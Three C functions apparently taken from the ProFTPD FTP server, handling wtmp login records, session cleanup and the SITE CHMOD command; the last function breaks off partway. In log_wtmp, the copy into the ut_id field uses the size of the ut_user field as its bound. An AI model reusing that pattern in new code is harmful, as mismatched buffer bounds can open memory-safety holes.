int log_wtmp(char *line, const char *name, const char *host, pr_netaddr_t *ip) { struct stat buf; struct utmp ut; int res = 0; static int fd = -1; #if (defined(SVR4) || defined(__SVR4)) && \ !(defined(LINUX) || defined(__hpux) || defined (_AIX)) /* This "auxilliary" utmp doesn't exist under linux. */ #ifdef __sparcv9 struct futmpx utx; time_t t; #else struct utmpx utx; #endif static int fdx = -1; if (fdx < 0 && (fdx = open(WTMPX_FILE, O_WRONLY|O_APPEND, 0)) < 0) { pr_log_pri(PR_LOG_WARNING, "wtmpx %s: %s", WTMPX_FILE, strerror(errno)); return -1; } /* Unfortunately, utmp string fields are terminated by '\0' if they are * shorter than the size of the field, but if they are exactly the size of * the field they don't have to be terminated at all. Frankly, this sucks. * Insane if you ask me. Unless there's massive uproar, I prefer to err on * the side of caution and always null-terminate our strings. */ if (fstat(fdx, &buf) == 0) { memset(&utx, 0, sizeof(utx)); sstrncpy(utx.ut_user, name, sizeof(utx.ut_user)); sstrncpy(utx.ut_id, "ftp", sizeof(utx.ut_user)); sstrncpy(utx.ut_line, line, sizeof(utx.ut_line)); sstrncpy(utx.ut_host, host, sizeof(utx.ut_host)); utx.ut_syslen = strlen(utx.ut_host)+1; utx.ut_pid = getpid(); #ifdef __sparcv9 time(&t); utx.ut_tv.tv_sec = (time32_t)t; #else time(&utx.ut_tv.tv_sec); #endif if (*name) utx.ut_type = USER_PROCESS; else utx.ut_type = DEAD_PROCESS; #ifdef HAVE_UT_UT_EXIT utx.ut_exit.e_termination = 0; utx.ut_exit.e_exit = 0; #endif /* HAVE_UT_UT_EXIT */ if (write(fdx, (char *)&utx, sizeof(utx)) != sizeof(utx)) ftruncate(fdx, buf.st_size); } else { pr_log_debug(DEBUG0, "%s fstat(): %s", WTMPX_FILE, strerror(errno)); res = -1; } #else /* Non-SVR4 systems */ if (fd < 0 && (fd = open(WTMP_FILE, O_WRONLY|O_APPEND, 0)) < 0) { pr_log_pri(PR_LOG_WARNING, "wtmp %s: %s", WTMP_FILE, strerror(errno)); return -1; } if (fstat(fd, &buf) == 0) { memset(&ut, 0, sizeof(ut)); #ifdef HAVE_UTMAXTYPE # ifdef LINUX if (ip) # ifndef PR_USE_IPV6 memcpy(&ut.ut_addr, pr_netaddr_get_inaddr(ip), sizeof(ut.ut_addr)); # else memcpy(&ut.ut_addr_v6, pr_netaddr_get_inaddr(ip), sizeof(ut.ut_addr_v6)); # endif /* !PR_USE_IPV6 */ # else sstrncpy(ut.ut_id, "ftp", sizeof(ut.ut_id)); # ifdef HAVE_UT_UT_EXIT ut.ut_exit.e_termination = 0; ut.ut_exit.e_exit = 0; # endif /* !HAVE_UT_UT_EXIT */ # endif /* !LINUX */ sstrncpy(ut.ut_line, line, sizeof(ut.ut_line)); if (name && *name) sstrncpy(ut.ut_user, name, sizeof(ut.ut_user)); ut.ut_pid = getpid(); if (name && *name) ut.ut_type = USER_PROCESS; else ut.ut_type = DEAD_PROCESS; #else /* !HAVE_UTMAXTYPE */ sstrncpy(ut.ut_line, line, sizeof(ut.ut_line)); if (name && *name) sstrncpy(ut.ut_name, name, sizeof(ut.ut_name)); #endif /* HAVE_UTMAXTYPE */ #ifdef HAVE_UT_UT_HOST if (host && *host) sstrncpy(ut.ut_host, host, sizeof(ut.ut_host)); #endif /* HAVE_UT_UT_HOST */ time(&ut.ut_time); if (write(fd, (char *)&ut, sizeof(ut)) != sizeof(ut)) ftruncate(fd, buf.st_size); } else { pr_log_debug(DEBUG0, "%s fstat(): %s",WTMP_FILE,strerror(errno)); res = -1; } #endif /* SVR4 */ return res; }
static void sess_cleanup(int flags) { /* Clear the scoreboard entry. */ if (ServerType == SERVER_STANDALONE) { /* For standalone daemons, we only clear the scoreboard slot if we are * an exiting child process. */ if (!is_master) { if (pr_scoreboard_entry_del(TRUE) < 0 && errno != EINVAL && errno != ENOENT) { pr_log_debug(DEBUG1, "error deleting scoreboard entry: %s", strerror(errno)); } } } else if (ServerType == SERVER_INETD) { /* For inetd-spawned daemons, we always clear the scoreboard slot. */ if (pr_scoreboard_entry_del(TRUE) < 0 && errno != EINVAL && errno != ENOENT) { pr_log_debug(DEBUG1, "error deleting scoreboard entry: %s", strerror(errno)); } } /* If session.user is set, we have a valid login. */ if (session.user && session.wtmp_log) { const char *sess_ttyname; sess_ttyname = pr_session_get_ttyname(session.pool); log_wtmp(sess_ttyname, "", pr_netaddr_get_sess_remote_name(), pr_netaddr_get_sess_remote_addr()); } /* These are necessary in order that cleanups associated with these pools * (and their subpools) are properly run. */ if (session.d) { pr_inet_close(session.pool, session.d); session.d = NULL; } if (session.c) { pr_inet_close(session.pool, session.c); session.c = NULL; } /* Run all the exit handlers */ pr_event_generate("core.exit", NULL); if (!is_master || (ServerType == SERVER_INETD && !(flags & PR_SESS_END_FL_SYNTAX_CHECK))) { pr_log_pri(PR_LOG_INFO, "%s session closed.", pr_session_get_protocol(PR_SESS_PROTO_FL_LOGOUT)); } log_closesyslog(); }
MODRET site_chmod(cmd_rec *cmd) { int res; mode_t mode = 0; char *dir, *endp, *mode_str, *tmp, *arg = ""; struct stat st; register unsigned int i = 0; #ifdef PR_USE_REGEX pr_regex_t *pre; #endif if (cmd->argc < 3) { pr_response_add_err(R_500, _("'SITE %s' not understood"), _get_full_cmd(cmd)); return NULL; } /* Construct the target file name by concatenating all the parameters after * the mode, separating them with spaces. */ for (i = 2; i <= cmd->argc-1; i++) { char *decoded_path; decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[i], FSIO_DECODE_FL_TELL_ERRORS); if (decoded_path == NULL) { int xerrno = errno; pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s", (char *) cmd->argv[i], strerror(xerrno)); pr_response_add_err(R_550, _("SITE %s: Illegal character sequence in command"), (char *) cmd->argv[1]); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } arg = pstrcat(cmd->tmp_pool, arg, *arg ? " " : "", decoded_path, NULL); } #ifdef PR_USE_REGEX pre = get_param_ptr(CURRENT_CONF, "PathAllowFilter", FALSE); if (pre != NULL && pr_regexp_exec(pre, arg, 0, NULL, 0, 0, 0) != 0) { pr_log_debug(DEBUG2, "'%s %s %s' denied by PathAllowFilter", (char *) cmd->argv[0], (char *) cmd->argv[1], arg); pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } pre = get_param_ptr(CURRENT_CONF, "PathDenyFilter", FALSE); if (pre != NULL && pr_regexp_exec(pre, arg, 0, NULL, 0, 0, 0) == 0) { pr_log_debug(DEBUG2, "'%s %s %s' denied by PathDenyFilter", (char *) cmd->argv[0], (char *) cmd->argv[1], arg); pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } #endif if (pr_fsio_lstat(arg, &st) == 0) { if (S_ISLNK(st.st_mode)) { char link_path[PR_TUNABLE_PATH_MAX]; int len; memset(link_path, '\0', sizeof(link_path)); len = dir_readlink(cmd->tmp_pool, arg, link_path, sizeof(link_path)-1, PR_DIR_READLINK_FL_HANDLE_REL_PATH); if (len > 0) { link_path[len] = '\0'; arg = pstrdup(cmd->tmp_pool, link_path); } } } dir = dir_realpath(cmd->tmp_pool, arg); if (dir == NULL) { int xerrno = errno; pr_response_add_err(R_550, "%s: %s", arg, strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } /* If the first character isn't '0', prepend it and attempt conversion. * This will fail if the chmod is a symbolic, but takes care of the * case where an octal number is sent without the leading '0'. */ mode_str = cmd->argv[1]; if (mode_str[0] != '0') { tmp = pstrcat(cmd->tmp_pool, "0", mode_str, NULL); } else { tmp = mode_str; } mode = strtol(tmp, &endp, 0); if (endp && *endp) { /* It's not an absolute number, try symbolic */ char *cp = mode_str; int mask = 0, mode_op = 0, curr_mode = 0, curr_umask = umask(0); int invalid = 0; char *who, *how, *what; umask(curr_umask); mode = 0; if (pr_fsio_stat(dir, &st) != -1) { curr_mode = st.st_mode; } while (TRUE) { pr_signals_handle(); who = pstrdup(cmd->tmp_pool, cp); tmp = strpbrk(who, "+-="); if (tmp != NULL) { how = pstrdup(cmd->tmp_pool, tmp); if (*how != '=') { mode = curr_mode; } *tmp = '\0'; } else { invalid++; break; } tmp = strpbrk(how, "rwxXstugo"); if (tmp != NULL) { what = pstrdup(cmd->tmp_pool, tmp); *tmp = '\0'; } else { invalid++; break; } cp = what; while (cp) { switch (*who) { case 'u': mask = 0077; break; case 'g': mask = 0707; break; case 'o': mask = 0770; break; case 'a': mask = 0000; break; case '\0': mask = curr_umask; break; default: invalid++; break; } if (invalid) break; switch (*how) { case '+': case '-': case '=': break; default: invalid++; } if (invalid) break; switch (*cp) { case 'r': mode_op |= (S_IRUSR|S_IRGRP|S_IROTH); break; case 'w': mode_op |= (S_IWUSR|S_IWGRP|S_IWOTH); break; case 'x': mode_op |= (S_IXUSR|S_IXGRP|S_IXOTH); break; /* 'X' not implemented */ case 's': /* setuid */ mode_op |= S_ISUID; break; case 't': /* sticky */ mode_op |= S_ISVTX; break; case 'o': mode_op |= (curr_mode & S_IRWXO); mode_op |= ((curr_mode & S_IRWXO) << 3); mode_op |= ((curr_mode & S_IRWXO) << 6); break; case 'g': mode_op |= ((curr_mode & S_IRWXG) >> 3); mode_op |= (curr_mode & S_IRWXG); mode_op |= ((curr_mode & S_IRWXG) << 3); break; case 'u': mode_op |= ((curr_mode & S_IRWXU) >> 6); mode_op |= ((curr_mode & S_IRWXU) >> 3); mode_op |= (curr_mode & S_IRWXU); break; case '\0': /* Apply the mode and move on */ switch (*how) { case '+': case '=': mode |= (mode_op & ~mask); break; case '-': mode &= ~(mode_op & ~mask); break; } mode_op = 0; if (*who && *(who+1)) { who++; cp = what; continue; } else { cp = NULL; } break; default: invalid++; } if (invalid) { break; } if (cp) { cp++; } } break; } if (invalid) { pr_response_add_err(R_550, _("'%s': invalid mode"), (char *) cmd->argv[1]); pr_cmd_set_errno(cmd, EINVAL); errno = EINVAL; return PR_ERROR(cmd); } }